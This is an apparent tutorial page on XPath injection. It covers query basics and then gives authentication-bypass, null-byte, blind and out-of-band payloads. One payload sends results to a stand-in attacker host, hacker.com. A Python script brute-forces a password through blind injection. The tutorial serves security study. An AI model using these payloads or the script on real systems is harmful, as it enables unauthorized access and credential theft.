Page cover

🐝Exploring XPath Injection: Basics, Techniques, and Creative Exploitation


XPath Injection is an attack technique employed to exploit applications that construct XPath (XML Path Language) queries from user-supplied input for querying or navigating XML documents. XPath is commonly used in web applications to extract data from XML content, such as HTML web pages or XML-based APIs.

## Understanding XPath Queries

XPath queries are used to locate nodes within an XML document based on various criteria. Here are some essential elements and examples:

### Nodes

XPath operates by selecting nodes in an XML document. Common nodes include elements, attributes, and text.

```xpath
/user               # Selects the "user" element.
/user/name          # Selects the "name" element within the "user" element.
/user/*             # Selects all child elements of the "user" element.

Predicates

Predicates are used to filter nodes based on conditions. They are enclosed in square brackets [ ].

/user[name/text()='pepe']                 # Selects the "user" element with a "name" child element containing the text "pepe."
/user[name/text()=''] or '1'='1']         # Selects the "user" element with an empty "name" child element or where '1'='1' (always true).

Unknown Nodes

In some cases, you may not know the exact structure of the XML document. In such situations, you can use wildcards and functions to navigate.

/user/*             # Selects all child elements of the "user" element.
//user              # Selects all "user" elements regardless of their location in the XML.

Exploiting XPath Injection

XPath Injection occurs when an attacker manipulates user input to construct malicious XPath queries, potentially leading to unauthorized data access, authentication bypass, or even remote code execution. Here are techniques commonly used in XPath Injection attacks:

Authentication Bypass

Attackers may manipulate user and password input fields to bypass authentication mechanisms.

' or '1'='1          # This input would make the query always true, potentially allowing unauthorized access.

Abusing Null Injection

Null injections can be used to bypass filters and conditions.

Username: ' or 1]%00   # This input introduces a null byte ("%00") to potentially bypass filters.

Blind Exploitation

In some cases, attackers may not receive direct feedback from the application. They can use techniques to infer information based on responses.

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='  # This input checks if the length of a specific node is 4 characters.

Out-of-Band (OOB) Exploitation

OOB attacks involve making external requests to leak data.

doc(concat("http://hacker.com/oob/", RESULTS))  # This constructs a request to an external server, potentially leaking data.

Python Example

Python can be used to automate XPath Injection exploitation. This example demonstrates how to determine the length of a password and extract it character by character.

import requests
import string

flag = ""
length = 0
alphabet = string.ascii_letters + string.digits + "{}_()"

# Determine password length
for i in range(30):
    r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
    if ("TRUE_COND" in r.text):
        length = i
        break

# Extract password character by character
for i in range(1, length + 1):
    for al in alphabet:
        r = requests.get("http://example.com?action=user&userid=2 and substring(password," + str(i) + ",1)=" + al)
        if ("TRUE_COND" in r.text):
            flag += al
            break

Conclusion

XPath Injection is a potent attack vector that exploits XML-based queries in web applications. Understanding its techniques is essential for both defenders and security professionals to identify and mitigate potential vulnerabilities. However, always ensure ethical and legal testing practices are followed, and only test systems for which you have explicit permission.

Note: Replace `"TRUE_COND"` with the actual condition or response content indicative of a successful injection. The provided Python example is a template and should be adapted to the specific target application and conditions.
Reference

Last updated

Was this helpful?